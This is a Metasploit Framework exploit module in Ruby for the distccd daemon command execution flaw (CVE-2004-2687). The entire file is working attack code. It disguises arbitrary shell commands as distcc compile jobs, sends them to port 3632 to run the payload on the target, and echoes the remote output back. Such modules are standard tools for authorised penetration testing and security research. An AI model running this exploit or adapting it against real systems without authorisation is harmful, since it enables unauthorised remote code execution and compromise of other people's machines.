##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'DistCC Daemon Command Execution',
			'Description'    => %q{
				This module uses a documented security weakness to execute
				arbitrary commands on any system running distccd.

			},
			'Author'         => [ 'hdm' ],
			'License'        => MSF_LICENSE,
			'References'     =>
				[
					[ 'CVE', '2004-2687'],
					[ 'OSVDB', '13378' ],
					[ 'URL', 'http://distcc.samba.org/security.html'],

				],
			'Platform'       => ['unix'],
			'Arch'           => ARCH_CMD,
			'Privileged'     => false,
			'Payload'        =>
				{
					'Space'       => 1024,
					'DisableNops' => true,
					'Compat'      =>
						{
							'PayloadType' => 'cmd',
							'RequiredCmd' => 'generic perl ruby bash telnet',
						}
				},
			'Targets'        =>
				[
					[ 'Automatic Target', { }]
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Feb 01 2002'
			))

			register_options(
				[
					Opt::RPORT(3632)
				], self.class)
	end

	def check
		r = rand_text_alphanumeric(10)
		connect
		sock.put(dist_cmd("sh", "-c", "echo #{r}"))

		dtag = rand_text_alphanumeric(10)
		sock.put("DOTI0000000A#{dtag}\n")

		err, out = read_output
		if out.index(r)
			return Exploit::CheckCode::Vulnerable
		end
		return Exploit::CheckCode::Safe
	end

	def exploit
		connect

		distcmd = dist_cmd("sh", "-c", payload.encoded);
		sock.put(distcmd)

		dtag = rand_text_alphanumeric(10)
		sock.put("DOTI0000000A#{dtag}\n")

		err, out = read_output

		(err || "").split("\n") do |line|
			print_status("stderr: #{line}")
		end
		(out || "").split("\n") do |line|
			print_status("stdout: #{line}")
		end

		handler
		disconnect
	end

	def read_output

		res = sock.get_once(24, 5)

		if !(res and res.length == 24)
			print_status("The remote distccd did not reply to our request")
			disconnect
			return
		end

		# Check STDERR
		res = sock.get_once(4, 5)
		res = sock.get_once(8, 5)
		len = [res].pack("H*").unpack("N")[0]

		return [nil, nil] if not len
		if (len > 0)
			err = sock.get_once(len, 5)
		end

		# Check STDOUT
		res = sock.get_once(4, 5)
		res = sock.get_once(8, 5)
		len = [res].pack("H*").unpack("N")[0]

		return [err, nil] if not len
		if (len > 0)
			out = sock.get_once(len, 5)
		end
		return [err, out]

	end


	# Generate a distccd command
	def dist_cmd(*args)

		# Convince distccd that this is a compile
		args.concat(%w{# -c main.c -o main.o})

		# Set distcc 'magic fairy dust' and argument count
		res = "DIST00000001" + sprintf("ARGC%.8x", args.length)

		# Set the command arguments
		args.each do |arg|
			res << sprintf("ARGV%.8x%s", arg.length, arg)
		end

		return res
	end

end
